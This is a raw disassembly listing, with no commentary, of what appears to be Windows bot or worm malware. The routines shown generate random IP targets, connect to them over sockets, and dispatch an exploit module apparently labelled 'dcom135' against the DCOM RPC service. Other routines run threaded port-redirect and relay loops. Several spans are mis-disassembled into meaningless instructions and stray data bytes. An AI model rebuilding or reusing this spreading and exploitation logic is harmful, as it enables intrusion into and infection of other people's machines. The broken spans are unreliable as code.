		call	sub_416D20
		add	esp, 0Ch
		mov	ds:dword_43A224, 1
		jmp	short loc_407446
; ---------------------------------------------------------------------------


loc_40742C:				; CODE XREF: seg000:0040740Dj
		lea	eax, [ebp+98h]
		push	eax
		push	offset dword_43A1A0
		call	sub_416D20
		add	esp, 0Ch
		mov	ds:dword_43A224, ebx


loc_407446:				; CODE XREF: seg000:0040742Aj
		push	esi
		push	edi
		push	ds:dword_43A19C
		lea	eax, [ebp-204h]
		push	offset dword_427820
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-204h]
		push	5
		push	eax
		call	sub_414F79
		add	esp, 20h
		mov	ds:dword_43A194, eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	offset dword_439F88
		push	offset sub_4053ED
		push	ebx
		push	ebx
		call	near ptr 5CD0430Ch
		mov	ebp, 0A1940D8Bh
		inc	ebx
		add	[edi+69h], bl
		leave
		xor	al, 2
; ---------------------------------------------------------------------------
		dd 0C33B0000h, 0F50C8189h, 16740043h, 0A2281D39h, 850F0043h
		dd 12Dh, 15FF326Ah, 421060h, 15FFEAEBh,	421088h, 77DC6850h
		dd 3E90042h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_4074CB:				; CODE XREF: seg000:0040727Fj
		cmp	ds:dword_427310[eax], ebx
		jz	loc_4075EA
		push	3
		call	sub_4151C1
		test	eax, eax
		pop	ecx
		jnz	loc_4075EA
		mov	esi, offset dword_439E64
		push	104h
		push	esi
		push	ebx
		call	near ptr 920E99FEh
		into
		push	5Ch
		push	esi
		call	sub_417020
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_407509
		mov	[eax], bl


loc_407509:				; CODE XREF: seg000:00407505j
		mov	eax, ds:dword_42C154
		mov	ds:dword_439F7C, ebx
		mov	ds:dword_439F68, eax
		lea	eax, [ebp+18h]
		push	eax
		push	offset dword_439BDC
		call	sub_4154CD
		mov	eax, [ebp+118h]
		pop	ecx
		pop	ecx
		mov	ds:dword_439BD8, eax
		mov	ecx, [ebp+140h]
		push	esi
		push	ds:dword_439F68
		mov	ds:dword_439F74, ecx
		mov	ecx, [ebp+144h]
		push	eax
		mov	ds:dword_439F78, ecx
		call	sub_40A155
		pop	ecx
		push	eax
		lea	eax, [ebp-204h]
		push	offset unk_42778C
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-204h]
		push	3
		push	eax
		call	sub_414F79
		add	esp, 20h
		mov	ds:dword_439F70, eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	offset dword_439BD8
		push	offset loc_405B07
		push	ebx
		push	ebx
		call	near ptr 0AFC5392Eh
		test	al, 8Bh
		or	eax, offset dword_439F70
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F50C[ecx], eax
		jz	short loc_4075C2


loc_4075B0:				; CODE XREF: seg000:004075C0j
		cmp	ds:dword_439F84, ebx
		jnz	short loc_4075DD
		push	32h
		call	ds:dword_421060
		jmp	short loc_4075B0
; ---------------------------------------------------------------------------


loc_4075C2:				; CODE XREF: seg000:004075AEj
		call	ds:dword_421088
		push	eax
		push	offset unk_427744
		lea	eax, [ebp-204h]
		push	eax
		call	sub_4154CD
		add	esp, 0Ch


loc_4075DD:				; CODE XREF: seg000:004075B6j
		lea	eax, [ebp-204h]
		push	eax
		call	sub_40B151
		pop	ecx


loc_4075EA:				; CODE XREF: seg000:0040726Ej
					; seg000:0040728Fj ...
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4075EE	proc near		; CODE XREF: sub_40776F:loc_4077E0p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:438FB8h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_4155B0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	ds:dword_43A29C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_43A364
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_4155B0
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_4075EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407636	proc near		; CODE XREF: sub_40776F+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_415CD0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40765E
		xor	eax, eax
		jmp	short loc_4076CF
; ---------------------------------------------------------------------------


loc_40765E:				; CODE XREF: sub_407636+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_416A80
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40768B
		call	sub_415529
		mov	[ebp+var_C], eax


loc_40768B:				; CODE XREF: sub_407636+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_407698
		call	sub_415529
		mov	[ebp+var_8], eax


loc_407698:				; CODE XREF: sub_407636+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_4076A5
		call	sub_415529
		mov	[ebp+var_4], eax


loc_4076A5:				; CODE XREF: sub_407636+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_4076B1
		call	sub_415529


loc_4076B1:				; CODE XREF: sub_407636+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	ds:dword_438FB8[ecx*8],	eax


loc_4076CF:				; CODE XREF: sub_407636+26j
		pop	esi
		leave
		retn
sub_407636	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4076D2	proc near		; CODE XREF: sub_40776F+B8p
					; sub_412B7E+30p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	ds:dword_43A3E8
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4076FB
		xor	eax, eax
		jmp	short loc_40776A
; ---------------------------------------------------------------------------


loc_4076FB:				; CODE XREF: sub_4076D2+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	ds:dword_43A368
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_43A404
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	ds:dword_43A310
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	ds:dword_43A350
		push	esi
		mov	edi, eax
		call	ds:dword_43A400
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40776A:				; CODE XREF: sub_4076D2+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4076D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40776F	proc near		; DATA XREF: seg000:00407ABEo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	ds:dword_42104C
		push	eax
		call	sub_41551F
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_4077B6:				; CODE XREF: sub_40776F+200j
		mov	eax, ds:dword_43F4FC[ebx]
		cmp	ds:dword_438FBC[eax*8],	0
		jz	loc_407974
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_4077E0
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_407636
		pop	ecx
		jmp	short loc_4077E5
; ---------------------------------------------------------------------------


loc_4077E0:				; CODE XREF: sub_40776F+60j
		call	sub_4075EE


loc_4077E5:				; CODE XREF: sub_40776F+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	ds:dword_43F4FC[ebx]
		push	[ebp+var_3C]
		push	edi
		call	ds:dword_43A3F4
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_427958
		push	eax
		call	sub_4154CD
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43F2F8[ebx]
		push	eax
		call	sub_4154CD
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_4076D2
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_407964
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_4078B9
		push	offset dword_439918
		call	ds:dword_4210B4
		push	[ebp+var_3C]
		push	edi
		call	ds:dword_43A3F4
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_42791C
		push	eax
		call	sub_4154CD
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40789B
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40788F
		lea	eax, [ebp+var_140]


loc_40788F:				; CODE XREF: sub_40776F+118j
		push	eax
		push	[ebp+var_40]
		call	sub_412D32
		add	esp, 14h


loc_40789B:				; CODE XREF: sub_40776F+FDj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_40B151
		mov	[esp+2A8h+var_2A8], offset dword_439918
		call	ds:dword_4210B0
		jmp	loc_407964
; ---------------------------------------------------------------------------


loc_4078B9:				; CODE XREF: sub_40776F+CDj
		push	edi
		call	ds:dword_43A3F4
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4154CD
		mov	eax, [ebp+var_20]
		imul	eax, 3Ch
		add	eax, offset aDcom135_0 ; "dcom135"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_4154CD
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_4078FD
		lea	eax, [ebp+var_140]


loc_4078FD:				; CODE XREF: sub_40776F+186j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_4154CD
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	ds:off_427304[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_407964:				; CODE XREF: sub_40776F+C3j
					; sub_40776F+145j
		push	7D0h
		call	ds:dword_421060
		jmp	loc_4077B6
; ---------------------------------------------------------------------------


loc_407974:				; CODE XREF: sub_40776F+55j
		push	esi
		call	sub_415295
		pop	ecx
		push	0
		call	near ptr 19457CF1h
		inc	edx
sub_40776F	endp ; sp-analysis failed



loc_407983:				; DATA XREF: seg000:0041000Bo
					; seg000:00411B9Fo
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-14Ch]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp-14Ch]
		push	eax
		call	ds:dword_43A3A8
		mov	ecx, [ebp-2Ch]
		sub	esp, 14Ch
		lea	esi, [ebp-14Ch]
		push	53h
		mov	ds:dword_438FB8[ecx*8],	eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	loc_40725A
		push	8
		call	sub_4151C1
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_407A51
		mov	esi, offset dword_439918
		push	esi
		call	ds:dword_4210BC
		push	80000400h
		push	esi
		call	ds:dword_4210B8
		test	eax, eax
		jnz	short loc_407A51
		lea	eax, [ebp-1CCh]
		push	offset unk_427A9C
		push	eax
		call	sub_4154CD
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp-10h], ebx
		pop	ecx
		jnz	short loc_407A3B
		push	ebx
		lea	eax, [ebp-1CCh]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-3Ch]
		call	sub_412D32
		add	esp, 14h


loc_407A3B:				; CODE XREF: seg000:00407A1Cj
		lea	eax, [ebp-1CCh]
		push	eax
		call	sub_40B151
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_407A51:				; CODE XREF: seg000:004079E6j
					; seg000:00407A02j
		mov	eax, [ebp-2Ch]
		mov	esi, ds:dword_421060
		mov	edi, ebx
		mov	ds:dword_438FBC[eax*8],	ebx
		xor	ebx, ebx
		cmp	dword ptr [ebp-20h], 1
		jb	loc_407B1E


loc_407A6F:				; CODE XREF: seg000:00407B18j
		push	edi
		lea	eax, [ebp-14Ch]
		push	dword ptr [ebp-2Ch]
		mov	[ebp-24h], edi
		push	dword ptr [ebp-38h]
		push	eax
		lea	eax, [ebp-1CCh]
		push	offset unk_427A50
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-1CCh]
		push	8
		push	eax
		call	sub_414F79
		mov	[ebp-28h], eax
		imul	eax, 234h
		mov	ecx, [ebp-2Ch]
		add	esp, 24h
		mov	ds:dword_43F4FC[eax], ecx
		lea	eax, [ebp-14Ch]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40776F
		push	ebx
		push	ebx
		call	near ptr 0F5019375h
		ror	dword ptr [ebx-369627B3h], 34h
		add	al, [eax]
		add	[ebx], bh
		retn
; ---------------------------------------------------------------------------
		mov	ds:dword_43F50C[ecx], eax
		jz	short loc_407AE9


loc_407ADE:				; CODE XREF: seg000:00407AE7j
		cmp	[ebp-4], ebx
		jnz	short loc_407B10
		push	1Eh
		call	esi
		jmp	short loc_407ADE
; ---------------------------------------------------------------------------


loc_407AE9:				; CODE XREF: seg000:00407ADCj
		call	ds:dword_421088
		push	eax
		lea	eax, [ebp-1CCh]
		push	offset unk_427A00
		push	eax
		call	sub_4154CD
		lea	eax, [ebp-1CCh]
		push	eax
		call	sub_40B151
		add	esp, 10h


loc_407B10:				; CODE XREF: seg000:00407AE1j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp-20h]
		jbe	loc_407A6F


loc_407B1E:				; CODE XREF: seg000:00407A69j
		cmp	[ebp-30h], ebx
		jz	near ptr loc_407BC7+1
		mov	eax, [ebp-30h]
		imul	eax, 0EA60h
		push	eax
		call	esi
		push	dword ptr [ebp-30h]
		mov	eax, [ebp-2Ch]
		push	dword ptr [ebp-38h]
		mov	eax, ds:dword_438FB8[eax*8]
		push	eax
		call	ds:dword_43A3F4
		push	eax
		lea	eax, [ebp-1CCh]
		push	offset unk_4279A8
		push	eax
		call	sub_4154CD
		add	esp, 14h
		cmp	[ebp-10h], ebx
		jnz	short loc_407B81
		push	ebx
		lea	eax, [ebp-1CCh]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-3Ch]
		call	sub_412D32
		add	esp, 14h


loc_407B81:				; CODE XREF: seg000:00407B62j
		lea	eax, [ebp-1CCh]
		push	eax
		call	sub_40B151
		mov	eax, [ebp-2Ch]
		mov	dword ptr [esp], 0BB8h
		mov	ds:dword_438FBC[eax*8],	ebx
		call	esi
		push	8
		call	sub_4151C1
		cmp	eax, 1
		pop	ecx
		jnz	short loc_407BB8
		push	offset dword_439918
		call	ds:dword_4210BC


loc_407BB8:				; CODE XREF: seg000:00407BABj
		push	dword ptr [ebp-2Ch]
		call	sub_415295
		pop	ecx
		push	ebx
		call	near ptr 0B497D3D1h


loc_407BC7:				; CODE XREF: seg000:00407B21j
		sbb	[ebx+3C83D445h], ecx
		lds	edi, [edi+ecx*4+0F010043h]
		test	[edx-1], ebx
; ---------------------------------------------------------------------------
		db 0FFh
; ---------------------------------------------------------------------------
		jmp	fword ptr [eax-30h]
; ---------------------------------------------------------------------------
		db 7
		dd 0D6FF0000h
		db 0EBh, 0E6h
; ---------------------------------------------------------------------------


loc_407BE2:				; DATA XREF: seg000:004103E2o
		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-14Ch]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp-10h]
		push	ebx
		push	esi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	word ptr [ebp-10h], 2
		push	dword ptr [ebp-40h]
		call	ds:dword_43A368
		push	6
		push	edi
		push	2
		mov	[ebp-0Eh], ax
		mov	[ebp-0Ch], esi
		mov	[ebp+8], ebx
		call	ds:dword_43A3E8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_407D46
		mov	eax, [ebp-3Ch]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	ds:dword_43F504[eax], ebx
		call	ds:dword_43A284
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43A394
		test	eax, eax
		jnz	loc_407D46
		push	0Ah
		push	ebx
		call	ds:dword_43A390
		test	eax, eax
		jnz	loc_407D46


loc_407C8C:				; CODE XREF: seg000:00407CA0j
					; seg000:00407D21j
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-24h]
		push	eax
		push	ebx
		call	ds:dword_43A3FC	; CODE XREF: seg000:00407D0Aj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_407C8C
		movzx	eax, word ptr [ebp-22h]
		push	dword ptr [ebp-3Ch]
		mov	[ebp-148h], edi
		mov	[ebp-2Ch], esi
		push	eax
		push	dword ptr [ebp-20h]
		call	ds:dword_43A3F4
		push	eax
		lea	eax, [ebp-34Ch]
		push	offset unk_427B38
		push	eax
		call	sub_4154CD
		push	edi
		lea	eax, [ebp-34Ch]
		push	10h
		push	eax
		call	sub_414F79
		mov	[ebp-38h], eax
		imul	eax, 234h
		mov	ecx, [ebp-3Ch]
		add	esp, 20h
		mov	ds:dword_43F4FC[eax], ecx
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-14Ch]
		push	esi
		push	eax
		push	offset loc_407D6A
		push	esi
		push	esi
		call	near ptr 3F5D8BE2h
		jz	short near ptr loc_407C95+2
		dec	ebp
		enter	0FFFFC969h, 34h
		add	al, [eax]
		add	[ebx], bh
		mov	byte ptr [ecx+43F50C81h], 0
		jz	short loc_407D31


loc_407D1E:				; CODE XREF: seg000:00407D2Fj
		cmp	[ebp-2Ch], esi
		jnz	loc_407C8C
		push	32h
		call	ds:dword_421060
		jmp	short loc_407D1E
; ---------------------------------------------------------------------------


loc_407D31:				; CODE XREF: seg000:00407D1Cj
		call	ds:dword_421088
		push	eax
		push	offset unk_427AE8
		call	sub_40B1C5
		pop	ecx
		pop	ecx
		jmp	short loc_407D49
; ---------------------------------------------------------------------------


loc_407D46:				; CODE XREF: seg000:00407C43j
					; seg000:00407C75j ...
		mov	edi, [ebp+8]


loc_407D49:				; CODE XREF: seg000:00407D44j
		push	edi
		call	ds:dword_43A400
		push	ebx
		call	ds:dword_43A400
		push	dword ptr [ebp-3Ch]
		call	sub_415295
		pop	ecx
		push	esi
		call	near ptr 0CC9AA9D3h
		xchg	ebx, [edi+5Eh]
		pop	ebx


loc_407D6A:				; DATA XREF: seg000:00407CFEo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_415D50
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	ds:dword_43A3E8
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_407F20
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	ds:dword_43A368
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	ds:dword_43A3A8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_407DFA
		lea	eax, [ebp-13Ch]
		push	eax
		call	ds:dword_43A3EC
		jmp	short loc_407E08
; ---------------------------------------------------------------------------


loc_407DFA:				; CODE XREF: seg000:00407DE9j
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	ds:dword_43A320


loc_407E08:				; CODE XREF: seg000:00407DF8j
		cmp	eax, edi
		jz	loc_407F20
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	ds:dword_43A310
		cmp	eax, 0FFFFFFFFh
		jz	loc_407F20
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	ds:dword_43A3F4
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_427BE4
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp-344h]
		push	10h
		push	eax
		call	sub_414F79
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43F504[ebx]
		mov	ds:dword_43F4FC[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	ds:dword_43F508[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_407F51
		push	edi
		push	edi
		call	near ptr 0E00509BFh
		out	dx, al
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	ds:dword_43F50C[ecx], eax
		jz	short loc_407F0D


loc_407EBA:				; CODE XREF: seg000:00407EC7j
		cmp	[ebp-20h], edi
		jnz	short loc_407EC9
		push	32h
		call	ds:dword_421060
		jmp	short loc_407EBA
; ---------------------------------------------------------------------------


loc_407EC9:				; CODE XREF: seg000:00407EBDj
		mov	ebx, 1000h


loc_407ECE:				; CODE XREF: seg000:00407F09j
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	ds:dword_43A380
		cmp	eax, edi
		jle	short loc_407F20
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_43A3B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407ECE
		jmp	short loc_407F20
; ---------------------------------------------------------------------------


loc_407F0D:				; CODE XREF: seg000:00407EB8j
		call	ds:dword_421088
		push	eax
		push	offset unk_427B90
		call	sub_40B1C5
		pop	ecx
		pop	ecx


loc_407F20:				; CODE XREF: seg000:00407DAEj
					; seg000:00407E0Aj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	ds:dword_43F504[eax]
		call	ds:dword_43A400
		push	dword ptr [ebp+8]
		call	ds:dword_43A400
		push	dword ptr [ebp-4]
		call	sub_415295
		pop	ecx
		push	edi
		call	near ptr 0A23F399Eh
		pushf
		pop	edi
		pop	esi
		pop	ebx


loc_407F51:				; DATA XREF: seg000:00407E9Ao
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_415D50
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_407F88:				; CODE XREF: seg000:00407FCDj
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	ds:dword_43F508[esi]
		call	ds:dword_43A380
		test	eax, eax
		jle	short loc_407FCF
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	ds:dword_43F504[esi]
		call	ds:dword_43A3B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407F88


loc_407FCF:				; CODE XREF: seg000:00407FB2j
		push	ds:dword_43F508[esi]
		call	ds:dword_43A400
		push	dword ptr [ebp-14h]
		call	sub_415295
		pop	ecx
		push	0
; ---------------------------------------------------------------------------
		dw 0FCE8h
		dd 91C6AA4Ch
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi


loc_407FEE:				; DATA XREF: seg000:004126E6o
		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp-0D4h]
		push	2Ch
		mov	[ebp-4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-40h]
		call	ds:dword_43A368
		push	6
		push	edi
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		call	ds:dword_43A3E8
		mov	edi, eax
		mov	eax, [ebp-3Ch]
		imul	eax, 234h
		push	ebx
		mov	ds:dword_43F504[eax], edi
		lea	eax, [ebp-14h]
		push	eax
		push	edi
		call	ds:dword_43A394
		test	eax, eax
		jnz	loc_408190
		push	0Ah
		push	edi
		call	ds:dword_43A390
		test	eax, eax
		jnz	loc_408190
		push	dword ptr [ebp-40h]
		push	dword ptr [ebp-0D4h]
		call	sub_40A155
		pop	ecx
		push	eax
		lea	eax, [ebp-2D4h]
		push	offset dword_427D24
		push	eax
		call	sub_4154CD
		add	esp, 10h
		cmp	[ebp-30h], esi
		jnz	short loc_4080C9
		push	esi
		lea	eax, [ebp-2D4h]
		push	dword ptr [ebp-34h]
		push	eax
		lea	eax, [ebp-0D0h]
		push	eax
		push	dword ptr [ebp-0D4h]
		call	sub_412D32
		add	esp, 14h


loc_4080C9:				; CODE XREF: seg000:004080A7j
					; seg000:00408160j ...
		lea	eax, [ebp-2D4h]
		push	eax
		call	sub_40B151
		pop	ecx
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-24h]
		push	eax
		push	edi
		call	ds:dword_43A3FC
		push	dword ptr [ebp-3Ch]
		mov	ebx, eax
		movzx	eax, word ptr [ebp-22h]
		push	eax
		mov	[ebp-28h], esi
		push	dword ptr [ebp-20h]
		call	ds:dword_43A3F4
		push	eax
		lea	eax, [ebp-2D4h]
		push	offset unk_427CCC
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2D4h]
